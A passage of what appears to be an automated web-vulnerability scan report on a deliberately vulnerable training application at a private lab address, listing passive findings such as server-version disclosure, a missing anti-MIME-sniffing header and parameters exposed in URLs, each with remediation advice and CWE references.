Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu/ddsmoothmenu.css
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/styles/global-styles.css
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/robots.txt
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/script
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/sitemap.xml
Method	GET
Attack	

Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/span
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/srv
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/srv/mutillidae
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/table
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/td
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/tr
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/twiki/
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/u
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae.
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/add-to-your-blog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2

URL	http://192.168.0.9/var/www/mutillidae/capture-data.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/captured-data.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/captured-data.txt.
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/index.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/register.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/show-log.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/source-viewer.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/user-info.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/var/www/mutillidae/view-someones-blog.php
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/xampp/htdocs/mutillidae/captured-data.txt.
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/XamppLite/apache/bin/php.ini.

Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/XamppLite/PHP/php.ini.
Method	GET
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST

Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	Apache/2.2.8 (Ubuntu) DAV/2
Instances	181
Solution	Ensure that your web server, application server, load balancer, etc. is configured to suppress the "Server" header or provide generic details.
Reference	http://httpd.apache.org/docs/current/mod/core.html#servertokens http://msdn.microsoft.com/en-us/library/ff648552.aspx#ht_urlscan_007 http://blogs.msdn.com/b/varunm/archive/2013/04/23/remove-unwanted-http-response-headers.aspx http://www.troyhunt.com/2012/02/shhh-dont-let-your-response-headers.html
CWE Id	200
WASC Id	13
Plugin Id	10036

Low	**X-Content-Type-Options Header Missing**
Description	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.
URL	http://192.168.0.9/dav/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/index.php?page=register.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=credits.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=login.php

Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=show-log.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=source-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=text-file-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/?page=view-someones-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/favicon.ico
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/framer.html
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/add_icon.png
Method	GET

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/back-button-128px-by-128px.png
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/backtrack-4-r2-logo-90-69.png
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/bui_eclipse_pos_logo_fc_med.jpg
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/coykillericon.png
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/delete-icon-256-256.png
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/IhackBanner2x_final_print.jpg
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/magnifying-glass-icon.jpeg
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/owasp-logo-400-300.png
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/php-mysql-logo-176-200.jpeg
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/refresh-button-48px-by-48px.png
Method	GET
Attack	

Evidence	
URL	http://192.168.0.9/mutillidae/images/rene-magritte-frame.jpg
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/samurai-wtf-logo-320-214.jpeg
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/toad-for-mysql-77-80.jpg
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/twitter.gif
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/images/youtube_256_256.png
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://pauldotcom.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.isd-podcast.com/&page=redirectandlog.php
Method	GET

Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.issa-kentuckiana.org/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org/index.php/Louisville&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.php.net/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.pocodoy.com/blog/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.room362.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Attack	

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=browser-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=captured-data.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=change-log.htm
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=credits.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=framing.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=home.php
Method	GET
Attack	

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=installation.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=notes.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=php-errors.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=redirectandlog.php
Method	GET
Attack	

Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=rene-magritte.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=show-log.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=usage-instructions.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/bookmark-site.js
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/follow-mouse.js
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/javascript/html5-secrets.js
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu/ddsmoothmenu-v.css
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/mutillidae/styles/ddsmoothmenu/ddsmoothmenu.css
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/styles/global-styles.css
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/twiki/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php

Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	
Instances	99
Solution	Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages. If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application /web server to not perform MIME-sniffing.
Reference	http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx https://owasp.org/www-community/Security_Headers
CWE Id	693
WASC Id	15
Plugin Id	10021

Informational	**Information Disclosure - Sensitive Information in URL**
Description	The request appeared to contain sensitive information leaked in the URL. This can violate PCI and most organizational compliance policies. You can configure the list of strings for this check to add or remove values specific to your environment.
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	user-poll-php-submit-button
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	
Evidence	username
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	password

URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	user-info-php-submit-button
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	username
Instances	5
Solution	Do not pass sensitive information in URIs.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	10024

Informational	**Information Disclosure - Suspicious Comments**
Description	The response appears to contain suspicious comments which may help an attacker. Note: Matches made within script blocks or files are against the entire content not only comments.
URL	http://192.168.0.9/mutillidae/?page=login.php
Method	GET
Attack	
Evidence	username
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	username
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	query
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js
Method	GET
Attack	
Evidence	bug
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js
Method	GET
Attack	
Evidence	from
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET
Attack	

Evidence	select
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET
Attack	
Evidence	username
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	username
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	query
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/?page=credits.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/?page=login.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/?page=show-log.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/?page=text-file-viewer.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	
Evidence	user

URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://pauldotcom.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org/index.php/Louisville&page=redirectandlog.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.pocodoy.com/blog/&page=redirectandlog.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.room362.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=browser-info.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php

Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=captured-data.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=change-log.htm
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=credits.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=home.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=installation.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=notes.php
Method	GET

Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=php-errors.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=redirectandlog.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=show-log.php
Method	GET

Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=usage-instructions.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST

Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	user
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	user
Instances	62
Solution	Remove all comments that return information that may help an attacker and fix any underlying problems they refer to.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	10027

Informational	**Modern Web Application**
Description	The application appears to be a modern web application. If you need to explore it automatically then the Ajax Spider may well be more effective than the standard one.
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=add-to-your-blog.php
Method	GET

Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=credits.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=login.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=show-log.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=source-viewer.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=text-file-viewer.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/?page=view-someones-blog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET

Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://pauldotcom.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.isd-podcast.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.issa-kentuckiana.org/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org/index.php/Louisville&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.php.net/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.pocodoy.com/blog/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.room362.com/&page=redirectandlog.php
Method	GET

Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/&page=redirectandlog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=arbitrary-file-inclusion.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=browser-info.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=captured-data.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=change-log.htm
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=credits.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=dns-lookup.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php
Method	GET

Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=framing.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=home.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=installation.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=notes.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	
Evidence	Core Controls
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php
Method	GET
Attack	
Evidence	Core Controls
